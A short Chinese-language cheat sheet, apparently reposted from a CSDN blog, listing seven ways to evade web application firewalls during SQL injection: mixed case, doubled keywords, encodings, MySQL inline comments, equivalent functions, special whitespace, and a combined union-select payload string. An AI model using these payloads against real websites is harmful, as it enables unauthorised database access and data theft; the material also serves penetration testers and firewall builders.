WAF绕过之道

1. 大小写混合

    原因:服务器端检测时未开启大小写不敏感 形式:UnIon SeLecT

2. 多重关键字

   原因:服务器端检测到敏感字符时替换为空 形式:ununionion selselectect

3. 编码

   原因:服务器端未检测或检测不严具有编码形式的关键字 类型:十六进制编码、URL编码、Unicode编码 形式:0x61646d696e、%20、%u0020

4. 注释

   原因:服务器端未检测或检测不严注释内的字符串 形式:/**/,/*!*/,/*!12345*/,#,-- -等

5. 等价函数或命令

   原因:服务器端黑名单不完整,过滤不严 形式: Mysql查询:Union distinct、updatexml、Extractvalue、floor 字符串截取函数:mid、substr、substring、left、reverse 字符串连接函数:concat、group_concat、concat_ws 字符串转换:char、hex、unhex 替换逗号:limit 1 offset 0,mid(version() from 1 for 1) 替换等号:like


6. 特殊符号

   原因:数据库中效果相同,服务器端却没有限制 形式: 科学记数法 and 1e0 = 1e0 空白字符 %0a %a0 %0b %20 %09 反单引号 `table_name` 括号 select * from (test.admin)

7. 组合绕过

   原因:服务器端检测多处位置,需要多重绕过方式组合使用 形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3

猜你喜欢

转载自blog.csdn.net/WYJ____/article/details/81279434